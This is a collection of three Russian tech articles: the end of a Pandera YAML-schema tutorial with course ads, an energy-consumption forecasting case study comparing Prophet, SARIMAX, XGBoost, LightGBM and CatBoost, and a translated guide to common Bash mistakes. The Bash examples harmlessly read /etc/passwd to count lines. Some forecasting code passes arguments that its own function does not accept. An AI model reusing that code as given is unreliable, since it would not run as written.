Экспорт и загрузка из файла YAML
--------------------------------
### Экспорт в YAML
YAML — отличный способ показать свои тесты коллегам, не знающим Python. Сохранить все проверки в файле YAML можно с помощью метода schema.to\_yaml():
```
from pathlib import Path
# Get a YAML object
yaml_schema = schema.to_yaml()
# Save to a file
f = Path("schema.yml")
f.touch()
f.write_text(yaml_schema)
```
Файл schema.yml должен выглядеть примерно так:
```
schema_type: dataframe
version: 0.7.0
columns:
name:
dtype: str
nullable: false
checks:
isin:
- apple
- banana
- orange
allow_duplicates: true
coerce: false
required: true
regex: false
store:
dtype: str
nullable: true
checks:
isin:
- Aldi
- Walmart
allow_duplicates: false
coerce: false
required: true
regex: false
price:
dtype: int64
nullable: false
checks:
less_than: 5
allow_duplicates: true
coerce: false
required: true
regex: false
checks: null
index: null
coerce: false
strict: false
```
Загрузка из YAML
----------------
Чтобы загрузить файл, используйте pa.io.from\_yaml(yaml\_schema):
```
with f.open() as file:
yaml_schema = file.read()
schema = pa.io.from_yaml(yaml_schema)
```
Заключение
----------
Поздравляю! Вы только что узнали, как использовать Pandera для проверки вашего набора данных. Поскольку в науке о данных данные являются важным аспектом проекта, валидация входных и выходных ваших функций позволит сократить количество ошибок на всех этапах работы. Не стесняйтесь [форкать](https://github.com/khuyentran1401/Data-science/blob/master/data_science_tools/pandera_example/pandera.ipynb) исходный код для этой статьи.
А мы поможем вам прокачать навыки или с самого начала освоить профессию, востребованную в любое время:
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_310322&utm_term=conc)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_310322&utm_term=conc)
Выбрать другую [востребованную профессию](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_310322&utm_term=conc).
Краткий каталог курсов и профессий**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_310322&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_310322&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_310322&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_310322&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_310322&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_310322&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_310322&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_310322&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_310322&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_310322&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_310322&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_310322&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_310322&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_310322&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_310322&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_310322&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_310322&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_310322&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_310322&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_310322&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_310322&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_310322&utm_term=cat) | https://habr.com/ru/post/658473/ | null | ru | null |
# Машинное обучение в энергетике, или не только лишь все могут смотреть в завтрашний день
Точное предсказание будущих событий — перспективная и интересная задача во многих сферах: от прогноза погоды до финтеха (котировки акций, курсы валют). Машинное обучение уже сегодня позволяет значительно сократить время и трудозатраты на принятие управленческих решений.
Наша Data Science команда в [НОРБИТ](https://www.norbit.ru/) около полугода экспериментировала с использованием различных моделей машинного обучения для решения задач по классификации и регрессии, и по оптимизации бизнес-процессов в сфере b2b. Но когда появилась задача по предсказанию временных рядов, оказалось, что доступных материалов на эту тема в сети недостаточно для разработки быстрого решения.
Суть задачи заключалась в том, чтобы с максимальной точностью (средняя абсолютная ошибка в процентах, или [MAPE](https://en.wikipedia.org/wiki/Mean_absolute_percentage_error) < 3%) предсказывать почасовое потребление целого города на следующие трое суток суток (72 часа) для нужд одной крупной электрогенерирующей компании.
Максимальная допустимая ошибка в 3% — это очень высокий показатель по точности прогнозов. До применения машинного обучения ошибка находилась в пределах 3-23%, что напрямую приводило к финансовым убыткам, так как при недостаточной выработке электрической энергии дополнительные мощности необходимо было покупать на оптовом рынке электроэнергии (что сильно дороже собственной выработки), при перепроизводстве — продавать на рынке дешевле, чем могли бы продать городу. Также негативным эффектом отклонения плановой нагрузки от фактической является изменение частоты переменного тока в сети.
Достижению высокой точности прогнозирования мешают много факторов, например, при внезапном повышении температуры люди сразу тянутся за пультами от кондиционеров, при понижении — достают с антресолей обогреватели; во время праздников или больших футбольных матчей включают телевизоры и т.д. Если некоторые события цикличны и потенциально предсказуемы, то другие — совершенно нет. Допустим, внезапно по причине аварии перестал работать сталелитейный цех и все прогнозы превратились в тыкву (в нашем целевом городе обошлось без крупных производственных предприятий). Был довольно интересный пример проблемы при построении прогнозов в энергетике, когда один из всплесков изменений в объеме вырабатываемой электроэнергии был вызван тем, что корабль сел на мель на озере, и капитан договорился с владельцами гидроэлектростанций, чтобы они уменьшили сброс воды. Естественно, что модель машинного обучения не смогла предугадать это событие на основании накопленных исторических данных.
Хорошая новость для нас, что заказчик предусмотрел в техническом задании такие «особенные дни», в которые была допустима средняя ошибка прогноза в 8%.
Все, что предоставил заказчик, — это исторические данные почасового потребления электроэнергии за 3 года и название города.
Первая задача для подготовки построения модели машинного обучения — визуализация и поиск дополнительных факторов, которые могут оказывать влияние на прогноз. Степень такого влияния удобно визуально оценивать с помощью тепловой карты корреляции признаков. Темный квадрат в данном случае означает безусловную обратную зависимость величин (чем больше одна величина, тем меньше другая, и наоборот), белый — прямую:
```
import pandas as pd
import seaborn as sns
import matplotlib.pyplot as plt
# df - pandas DataFrame с признаками
sns.heatmap(df.corr());
```
Насколько я знаю, в моделях, которые используют для прогнозов потребления электроэнергии в РФ, используют 2 фактора — история потребления и прогноз температуры.
В зимний и осенний периоды потребление энергии выше — сказывается низкая температура и сравнительно короткий световой день. Фактор «день недели» также оказывает влияние на количество расходуемой энергии — по выходным оно резко падает. Пики потребления приходятся на среду или четверг.
Внутри одних суток по будням пиковые значения энергопотребления приходятся на 11-12 часов и постепенно падают с резким обрывом после девяти часов вечера.
Все как в учебниках:
Суточные зимний и летний графики потребления промышленного и культурного центров. [Источник](https://elenergi.ru/grafiki-nagruzok-elektricheskix-stancij-ekonomicheskie-pokazateli-elektrostancij.html)
Моделирование
-------------
### Prophet
Первая идея, как сделать задачу максимально быстро — это взять Prophet от Facebook. У меня уже был опыт его использования, и я его запомнил как «штука, которая просто и быстро работает из коробки». Prophet для работы хочет видеть в pandas-датафрейме колонки «ds» и «y», т.е. дату в формате YYYY-MM-DD HH:MM:SS, и таргет — потребление в час, соответственно (примеры работы есть в [документации](https://facebook.github.io/prophet/docs/quick_start.html#python-api)).
```
df = pd.read_pickle('full.pkl')
pjme = df.loc[:'2018-06-01 23:00'].rename(columns={'hour_value': 'y'})
pjme['ds'] = pjme.index
split_date = '2018-03-01 23:00'
pjme_train = pjme.loc[pjme.index <= split_date]
pjme_test = pjme.loc[pjme.index > split_date]
playoffs = pd.DataFrame({
'holiday': 'playoff',
'ds': df[(df.rest_day == 1)|(df.is_weekend == 1)].index,
'lower_window': 0,
'upper_window': 1,
})
model = Prophet(holidays=playoffs)
model.fit(pjme_train.reset_index())
forecast = model.predict(df=pjme_test.reset_index())
```
Предсказания «пророка» выглядели объективными, но ошибка в 7–17% превышала допустимую, поэтому дальнейшие эксперименты я на этом фреймворке не проводил.
### SARIMAX
Вторая попытка решения этой задачи была с помощью SARIMAX. Метод довольно затратный по времени подбора коэффициентов, но зато удалось снизить ошибку прогноза по сравнению с Prophet до 6-11%.
К сожалению, остался только результат для недельных предсказаний, но именно эти прогнозные данные я использовал в качестве дополнительных фич в бустинг-моделях.
Для прогноза нужно подобрать параметры SARIMA(p,d,q)(P,D,Q,s):
* p — порядок авторегрессии (AR), который позволяет добавить прошлые значения временного ряда (можно выразить как «завтра, возможно, пойдет снег, если в последние несколько дней шел снег»);
* d — порядок интегрирования исходных данных (он определяет число предыдущих временных точек, которые нужно вычесть из текущего значения);
* q — порядок скользящего среднего (MA), который позволяет установить погрешность модели в виде линейной комбинации наблюдавшихся ранее значений ошибок;
* P — p, но сезонное;
* D — d, но сезонное;
* Q — q, но сезонное;
* s — размерность сезонности (месяц, квартал и т.д.).
На сезонном разложении по недельной истории можно увидеть тренд и сезонности, которые позволяет отобразить seasonal\_decompose:
```
import statsmodels.api as sm
sm.tsa.seasonal_decompose(df_week).plot()
```
По графикам автокорреляции и частичной автокорреляции выбрал начальные приближения параметров для модели SARIMAX: p=0, P=1, q=2, Q=2.
```
sm.graphics.tsa.plot_acf(df_week.diff_week[52:].values.squeeze(), lags=60, ax=ax)
sm.graphics.tsa.plot_pacf(df_week.diff_week[52:].values.squeeze(), lags=60, ax=ax)
```
И итоговые подобранные значения (0, 2, 2)x(1, 2, 0, 52). В итоге график прогноза потребления выглядел так:
Бустинг
-------
В этот момент стало очевидно, что без использования дополнительных внешних факторов не удастся достичь необходимой точности. В первую очередь, это погодные факторы: температура, давление, влажность, сила и направление ветра, осадки.
Первой попыткой была попытка купить архив с погодой в [Яндекс](https://yandex.ru/dev/weather/). У ребят отличное API и техподдержка, но конкретно по нашему городу в данных было довольно много пропусков. В итоге я купил архив в сервисе openweathermap.org за 10$. Важно отметить, что, несмотря на то, что погода — очень полезный фактор, ошибки в прогнозе очевидно будут сильно портить итоговую MAPE модели. Я встречал информацию, что правильным решением этой проблемы было бы в обучении использовать не фактические исторические значения погоды, а прогнозы погоды за трое суток, но у меня, к сожалению, такой возможности не было.
Также я добавил признаки времени суток, дня недели, праздники, порядковый номер дня в году, а также большое количество временных лагов и средних значений за предыдущие периоды.
Все эти данные после масштабирования (MinMaxScale) и One Hot Encoding (значения каждого категориального признака становятся отдельными столбцами с 0 и 1, таким образом, признак с тремя значениями становится тремя разными столбцами, и единица будет лишь в одном из них) я использовал в небольшом соревновании трех популярных моделей бустинга XGBoost, LightGBM и CatBoost.
### XGBoost
Об XGBoost’е написано много хорошего. Представленный на конференции SIGKDD в 2016 году, он произвел настоящий фурор и до сих пор держится на лидирующих позициях. Интересный [материал](https://medium.com/nuances-of-programming/%D0%B0%D0%BB%D0%B3%D0%BE%D1%80%D0%B8%D1%82%D0%BC-xgboost-%D0%BF%D1%83%D1%81%D1%82%D1%8C-%D0%BE%D0%BD-%D1%86%D0%B0%D1%80%D1%81%D1%82%D0%B2%D1%83%D0%B5%D1%82-%D0%B4%D0%BE%D0%BB%D0%B3%D0%BE-dc8c4eca3fbc) для тех, кто про него не слышал.
Подготовим данные для модели:
```
from sklearn.preprocessing import MinMaxScaler, StandardScaler
from sklearn.model_selection import train_test_split
def gen_data(
stop_day = '2018-06-01 23:00',
drop_columns = [],
test_size=0.15,
is_dummies=True,
is_target_scale=False):
df = pd.read_pickle('full.pkl')
df = df.loc[:stop_day]
scaler = MinMaxScaler()
target_scaler = StandardScaler()
y = df.hour_total
if is_target_scale:
y = target_scaler.fit_transform(y.values.reshape(-1, 1)).reshape(1,-1)[0]
X = df.drop(['hour_value', *drop_columns], axis=1)
num_columns = X.select_dtypes(include=['float64']).columns
X[num_columns] = scaler.fit_transform(X[num_columns])
if is_dummies:
X = pd.get_dummies(X)
train_count_hours = len(X) - 72
valid_count_hours = len(X) - int(len(X) * 0.2)
X_test = X[train_count_hours:]
y_test = y[train_count_hours:]
X = X[:train_count_hours]
y = y[:train_count_hours]
# Тут можно пробовать разные варианты разбиения на обучающую и тестовую выборки, от этого сильно зависит итоговая точность модели
X_train, X_val, y_train, y_val = train_test_split(X, y, test_size=test_size, random_state=42)
train_dates = X_train.index
val_dates = X_test.index
return X, y, X_train, X_val, y_train, y_val, X_test, y_test, target_scaler
```
Учу модель, используя лучшие подобранные ранее гиперпараметры:
```
X, y, X_train, X_val, y_train, y_val, X_test, y_test, _ = gen_data(
stop_day = stop_day,
drop_columns = drop_columns,
test_size=0.1,
is_dump=True,
is_target_scale=False)
params_last = {
'base_score': 0.5,
'booster': 'gbtree',
'colsample_bylevel': 1,
'colsample_bynode': 1,
'colsample_bytree': 0.4,
'gamma': 0,
'max_depth': 2,
'min_child_weight': 5,
'reg_alpha': 0,
'reg_lambda': 1,
'seed': 38,
'subsample': 0.7,
'verbosity': 1,
'learning_rate':0.01
}
reg = xgb.XGBRegressor(**params_last, n_estimators=2000)
print(X_train.columns)
reg.fit(X_train, y_train,
eval_set=[(X_val, y_val)],
early_stopping_rounds=20,
verbose=False)
y_pred = reg.predict(X_test)
```
### LightGBM
LightGBM — фреймворк от Microsoft, основное преимущество которого состоит в скорости обучения на действительно больших массивах данных. А также в отличие от XGBoost’а LightGBM умеет работать с категориями, использует меньше памяти. Вот [тут](https://medium.com/@pushkarmandot/https-medium-com-pushkarmandot-what-is-lightgbm-how-to-implement-it-how-to-fine-tune-the-parameters-60347819b7fc) есть подробнее.
```
import lightgbm as lgb
from lightgbm import LGBMRegressor
from sklearn.metrics import mean_squared_error
stop_day = '2018-06-01 23:00'
start_day_for_iterate = datetime.strptime(stop_day, '%Y-%m-%d %H:%M')
test_size = 0.2
X, y, X_train, X_val, y_train, y_val, X_test, y_test, _ = gen_data(
stop_day = stop_day,
drop_columns = drop_columns,
test_size=test_size,
is_dump=True,
drop_weekend=False,
is_target_scale=False)
model = LGBMRegressor(boosting_type='gbdt',
num_leaves=83,
max_depth=-1,
learning_rate=0.008,
n_estimators=15000,
max_bin=255,
subsample_for_bin=50000,
min_split_gain=0,
min_child_weight=3,
min_child_samples=10,
subsample=0.3,
subsample_freq=1,
colsample_bytree=0.5,
reg_alpha=0.1,
reg_lambda=0,
seed=38,
silent=False,
nthread=-1)
history = model.fit(X_train, y_train,
eval_metric='rmse',
eval_set=[(X_val, y_val)],
early_stopping_rounds=40,
verbose = 0)
y_pred = model.predict(X_test, num_iteration=model.best_iteration_)
```
### CatBoost
CatBoost — продвинутая библиотека градиентного бустинга на деревьях решений с открытым исходным кодом" от [Яндекса](https://yandex.ru/dev/catboost/). Выгодное отличие модели состоит в удобстве работы с датасетами, содержащими категориальные признаки — передавать в модель содержащие категории данные можно без преобразования в числа, причем она выявляет закономерности самостоятельно, руками ничего подкручивать не требуется, и качество предсказания остается на высоте.
```
cat_features=np.where(X.dtypes == 'category')[0]
eval_dataset = Pool(X_test, y_test)
model = CatBoostRegressor(learning_rate=0.5,
eval_metric='RMSE',
leaf_estimation_iterations=3,
depth=3)
model.fit(X_train, y_train,
eval_set=(X_val, y_val),
cat_features=cat_features,
plot=True,
verbose=True)
y_pred = model.predict(X_test)
```
### XGBoost vs. LightGBM vs. CatBoost
Чтобы не повторять многочисленные статьи, приведу сравнительную таблицу [отсюда](https://towardsdatascience.com/catboost-vs-light-gbm-vs-xgboost-5f93620723db).
Для вычисления ошибки по MAPE я брал последний известный месяц (28 дней) и, двигая окно с дискретностью в один час, делал прогноз на следующие 72 часа.
А в моем импровизированном соревновании призовые места заняли:
3-е место: мой любимчик — XGBoost — с самым низким качеством прогноза;
2-е место: CatBoost как самый удобный и «все из коробки»;
1-е место: LightGBM как самый быстрый и точный.
Для более точного сравнения моделей я использовал R2 (R-квадрат или коэффициент детерминации, показывающий, как сильно условная дисперсия модели отличается от дисперсии реальных значений) и RMSLE (Root Mean Squared Logarithmic Error, или среднеквадратичная логарифмическая ошибка, которая является, по сути, расстоянием между двумя точками на плоскости — реальным значением и предсказанным).
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Метрика** | **LightGBM** | **Catboost** | **XGBoost** | **Prophet** | **SARIMAX** |
| **r2** | 0.94137 | 0.93984 | 0.92909 | 0.81435 | 0.73778 |
| **MSLE** | 0.02468 | 0.02477 | 0.01219 | 0.00829 | 0.00658 |
Но это все, разумеется, применительно к моей задаче. На других данных в других руках все может быть совсем по-другому.
В следующий раз поделюсь другой нашей собственной интересной историей по прогнозированию оттока сотрудников для задачи планирования подбора в нашей компании.
**Кстати, наша команда растёт, и мы ищем людей!*** [Старший консультант (управленческий консалтинг и бюджетирование)](https://hh.ru/vacancy/35738958)
* [Старший консультант по интеграции](https://hh.ru/vacancy/35772692)
* [Консультант Bitrix24](https://hh.ru/vacancy/35410101)
* [Руководитель проектов CRM](https://hh.ru/vacancy/35572738) | https://habr.com/ru/post/487944/ | null | ru | null |
# Частые ошибки программирования на Bash
Качество скриптов, используемых для автоматизации и оптимизации работы системы, является залогом ее стабильности и долголетия, а также сохраняет время и нервы администратора этой системы. Несмотря на кажущуюся примитивность bash как языка программирования, он полон подводных камней и хитрых течений, способных значительно подпортить настроение как разработчику, так и администратору.
Большинство имеющихся руководств посвящено тому, как надо писать. Я же расскажу о том, как писать НЕ надо :-)
Данный текст является вольным переводом вики-страницы [«Bash pitfalls»](http://wooledge.org:8000/BashPitfalls) по состоянию на 13 декабря 2008 года. В силу викиобразности исходника, этот перевод может отличаться от оригинала. Поскольку объем текста слишком велик для публикации целиком, он будет публиковаться частями.
### 1. for i in `ls \*.mp3`
Одна из наиболее часто встречающихся ошибок в bash-скриптах — это циклы типа такого:
```
for i in `ls *.mp3`; do # Неверно!
some command $i # Неверно!
done
```
Это не сработает, если в названии одного из файлов присутствуют пробелы, т.к. результат подстановки команды `ls *.mp3` подвергается разбиению на слова. Предположим, что у нас в текущей директории есть файл `01 - Don't Eat the Yellow Snow.mp3`. Цикл `for` пройдётся по каждому слову из названия файла и `$i` примет значения: `"01"`, `"-"`, `"Don't"`, `"Eat"`, `"the"`, `"Yellow"`, `"Snow.mp3"`.
Заключить всю команду в кавычки тоже не получится:
```
for i in "`ls *.mp3`"; do # Неверно!
...
```
Весь вывод теперь рассматривается как одно слово, и вместо того, чтобы пройтись по каждому из файлов в списке, цикл выполнится только один раз, при этом `i` примет значение, являющееся конкатенацией всех имён файлов через пробел.
На самом деле использование `ls` совершенно излишне: это внешняя команда, которая просто не нужна в данном случае. Как же тогда правильно? А вот так:
```
for i in *.mp3; do # Гораздо лучше, но...
some command "$i" # ... см. подвох №2
done
```
Предоставьте bash'у самому подставлять имена файлов. Такая подстановка не будет приводить к разделению строки на слова. Каждое имя файла, удовлетворяющее шаблону `*.mp3`, будет рассматриваться как одно слово, и цикл пройдёт по каждому имени файла по одному разу.
Дополнительные сведения можно найти в [п. 20 Bash FAQ](http://wooledge.org:8000/BashFAQ#faq20).
Внимательный читатель должен был заметить кавычки во второй строке вышеприведённого примера. Это плавно подводит нас к подвоху №2.
### 2. cp $file $target
Что не так в этой команде? Вроде бы ничего особенного, если вы абсолютно точно знаете, что переменные `$file` и `$target` не содержат пробелов или подстановочных символов.
Но если вы не знаете, что за файлы вам попадутся, или вы параноик, или просто пытаетесь следовать хорошему стилю bash-программирования, то вы заключите названия ваших переменных в кавычки, чтобы не подвергать их разбиению на слова.
```
cp "$file" "$target"
```
Без двойных кавычек скрипт выполнит команду `cp 01 - Don't Eat the Yellow Snow.mp3 /mnt/usb`, и вы получите массу ошибок типа `cp: cannot stat `01': No such file or directory`. Если в значениях переменных `$file` или `$target` содержатся символы \*, ?, [..] или (..), используемые в шаблонах подстановки имен файлов («wildmats»), то в случае существования файлов, удовлетворяющих шаблону, значения переменных будут преобразованы в имена этих файлов. Двойные кавычки решают эту проблему, если только `"$file"` не начинается с дефиса `-`, в этом случае `cp` думает, что вы пытаетесь указать ему еще одну опцию командной строки.
Один из способов обхода — вставить двойной дефис (`--`) между командой `cp` и её аргументами. Двойной дефис сообщит `cp`, что нужно прекратить поиск опций:
```
cp -- "$file" "$target"
```
Однако вам может попасться одна из систем, в которых такой трюк не работает. Или же команда, которую вы пытаетесь выполнить, не поддерживает опцию `--`. В таком случае читайте дальше.
Ещё один способ — убедиться, что названия файлов всегда начинаются с имени каталога (включая `./` для текущего). Например:
```
for i in ./*.mp3; do
cp "$i" /target
...
```
Даже если у нас есть файл, название которого начинается с "-", механизм подстановки шаблонов гарантирует, что переменная будет содержать нечто вроде `./-foo.mp3`, что абсолютно безопасно для использования вместе с `cp`.
### 3. [ $foo = «bar» ]
В этом примере кавычки расставлены неправильно: в bash нет необходимости заключать строковой литерал в кавычки; но вам обязательно следует закавычить переменную, если вы не уверены, что она не содержит пробелов или знаков подстановки (wildcards).
Этот код ошибочен по двум причинам:
1. Если переменная, используемая в условии `[`, не существует или пуста, строка
```
[ $foo = "bar" ]
```
будет воспринята как
```
[ = "bar" ]
```
что вызовет ошибку «unary operator expected». (Оператор "=" бинарный, а не унарный, поэтому команда `[` будет в шоке от такого синтаксиса)
2. Если переменная содержит пробел внутри себя, она будет разбита на разные слова перед тем, как будет обработана командой `[`:
```
[ multiple words here = "bar" ]
```
Даже если лично вам кажется, что это нормально, такой синтаксис является ошибочным.
Правильно будет так:
```
[ "$foo" = bar ] # уже близко!
```
Но этот вариант не будет работать, если $foo начинается с `-`.
В bash для решения этой проблемы может быть использовано ключевое слово `[[`, которое включает в себя и значительно расширяет старую команду `test` (также известную как `[`)
```
[[ $foo = bar ]] # правильно!
```
Внутри `[[` и `]]` уже не нужно брать в кавычки названия переменных, поскольку переменные больше не разбиваются на слова и даже пустые переменные обрабатываются корректно. С другой стороны, даже если лишний раз взять их в кавычки, это ничему не повредит.
Возможно, вы видели код типа такого:
```
[ x"$foo" = xbar ] # тоже правильно!
```
Хак `x"$foo"` требуется в коде, который должен работать в шеллах, не поддерживающих `[[`, потому что если `$foo` начинается с `-`, команда `[` будет дезориентирована.
Если одна из частей выражения — константа, можно сделать так:
```
[ bar = "$foo" ] # так тоже правильно!
```
Команду `[` не волнует, что выражение справа от знака "=" начинается с `-`. Она просто использует это выражение, как строку. Только левая часть требует такого пристального внимания.
### 4. cd `dirname "$f"`
Пока что мы в основном говорим об одном и том же. Точно так же, как и с раскрытием значений переменных, результат подстановки команды подвергается разбиению на слова и раскрытию имен файлов (pathname expansion). Поэтому мы должны заключить команду в кавычки:
```
cd "`dirname "$f"`"
```
Что здесь не совсем очевидно, это последовательность кавычек. Программист на C мог бы предположить, что сгруппированы первая и вторая кавычки, а также третья и четвёртая. Однако в данном случае это не так. Bash рассматривает двойные кавычки внутри команды как первую пару, и наружные кавычки — как вторую.
Другими словами, парсер рассматривает обратные кавычки (```) как уровень вложенности, и кавычки внутри него отделены от внешних.
Такого же эффекта можно достичь, используя более предпочтительный синтаксис `$()`:
```
cd "$(dirname "$f")"
```
Кавычки внутри `$()` сгруппированы.
### 5. [ "$foo" = bar && "$bar" = foo ]
Нельзя использовать `&&` внутри «старой» команды `test` или её эквивалента `[`. Парсер bash'а видит `&&` вне скобок и разбивает вашу команду на две, перед и после `&&`. Лучше используйте один из вариантов:
```
[ bar = "$foo" -a foo = "$bar" ] # Правильно!
[ bar = "$foo" ] && [ foo = "$bar" ] # Тоже правильно!
[[ $foo = bar && $bar = foo ]] # Тоже правильно!
```
Обратите внимание, что мы поменяли местами константу и переменную внутри `[` — по причинам, рассмотренным в предыдущем пункте.
То же самое относится и к `||`. Используйте `[[`, или `-o`, или две команды `[`.
### 6. [[ $foo > 7 ]]
Если оператор `>` используется внутри `[[ ]]`, он рассматривается как оператор сравнения строк, а не чисел. В некоторых случаях это может сработать, а может и не сработать (и это произойдёт как раз тогда, когда вы меньше всего будете этого ожидать). Если `>` находится внутри `[ ]`, всё ещё хуже: в данном случае это перенаправление вывода из файлового дескриптора с указанным номером. В текущем каталоге появится пустой файл с названием `7`, и команда `test` завершится с успехом, если только переменная `$foo` не пуста.
Поэтому операторы > и < для сравнения чисел внутри `[ .. ]` или `[[ .. ]]` использовать нельзя.
Если вы хотите сравнить два числа, используйте `(( ))`:
```
((foo > 7)) # Правильно!
```
Если вы пишете для Bourne Shell (sh), а не для bash, правильным способом является такой:
```
[ $foo -gt 7 ] # Тоже правильно!
```
Обратите внимание, что команда `test ... -gt ...` выдаст ошибку, если хотя бы один из её аргументов — не целое число. Поэтому уже не имеет значения, правильно ли расставлены кавычки: если переменная пустая, или содержит пробелы, или ее значение не является целым числом — в любом случае возникнет ошибка. Просто тщательно проверяйте значение переменной перед тем, как использовать её в команде `test`.
Двойные квадратные скобки также поддерживают такой синтаксис:
```
[[ $foo -gt 7 ]] # Тоже правильно!
```
### 7. count=0; grep foo bar | while read line; do ((count++)); done; echo «number of lines: $count»
На первый взгляд этот код выглядит нормально. Но на деле переменная `$count` останется неизменной после выхода из цикла, к большому удивлению bash-разработчика. Почему так происходит?
Каждая команда в конвейере выполняется в отдельной подоболочке (subshell), и изменения в переменной внутри подоболочки не влияют на значение этой переменной в родительском экземпляре оболочки (т.е. в скрипте, который вызвал этот код).
В данном случае цикл `for` является частью конвейера и выполняется в отдельной подоболочке со своей копией переменной `$count`, инизиализированной значением переменной `$count` из родительской оболочки: «0». Когда цикл заканчивается, использованная в цикле копия `$count` отбрасывается и команда `echo` показывает неизменённое начальное значение `$count` («0»).
Обойти это можно несколькими способами.
Можно выполнить цикл в своей подоболочке (слегка кривовато, но так проще и понятней и работает в sh):
```
# POSIX compatible
count=0
cat /etc/passwd | (
while read line ; do
count=$((count+1))
done
echo "total number of lines: $count"
)
```
Чтобы полностью избежать создания подоболочки, используйте перенаправление (в Bourne shell (sh) для перенаправления также создаётся subshell, поэтому будьте внимательны, такой трюк сработает только в bash):
```
# только для bash!
count=0
while read line ; do
count=$(($count+1))
done < /etc/passwd
echo "total number of lines: $count"
```
Предыдущий способ работает только для файлов, но что делать, если нужно построчно обработать вывод команды? Используйте подстановку процессов:
```
while read LINE; do
echo "-> $LINE"
done < <(grep PATH /etc/profile)
```
Ещё пара интересных способов разрешения проблемы с субшеллами обсуждается в [Bash FAQ #24](http://wooledge.org:8000/BashFAQ/024).
### 8. if [grep foo myfile]
Многих смущает практика ставить квадратные скобки после `if` и у новичков часто создаётся ложное впечатление, что `[` является частью условного синтаксиса, так же, как скобки в условных конструкциях языка C.
Однако такое мнение — ошибка! Открывающая квадратная скобка (`[`) — это не часть синтаксиса, а команда, являющаяся эквивалентом команды `test`, лишь за тем исключением, что последним аргументом этой команды должна быть закрывающая скобка `]`.
Синтаксис `if`:
```
if COMMANDS
then
COMMANDS
elif COMMANDS # необязательно
then
COMMANDS
else # необязательно
COMMANDS
fi
```
Как видите, в синтаксисе if нет никаких `[` или `[[`!
Ещё раз, `[` — это команда, которая принимает аргументы и выдаёт код возврата; как и все нормальные команды, она может выводить сообщения об ошибках, но, как правило, ничего не выдаёт в STDOUT.
`if` выполняет первый набор команд, и в зависимости от кода возврата последней команды из этого набора определяет, будет ли выполнен блок команд из секции «then» или же выполнение скрипта продолжится дальше.
Если вам необходимо принять решение в зависимости от вывода команды `grep`, вам не нужно заключать её в круглые, квадратные или фигурные скобки, обратные кавычки или любой другой синтаксический элемент. Просто напишите `grep` как команду после `if`:
```
if grep foo myfile > /dev/null; then
...
fi
```
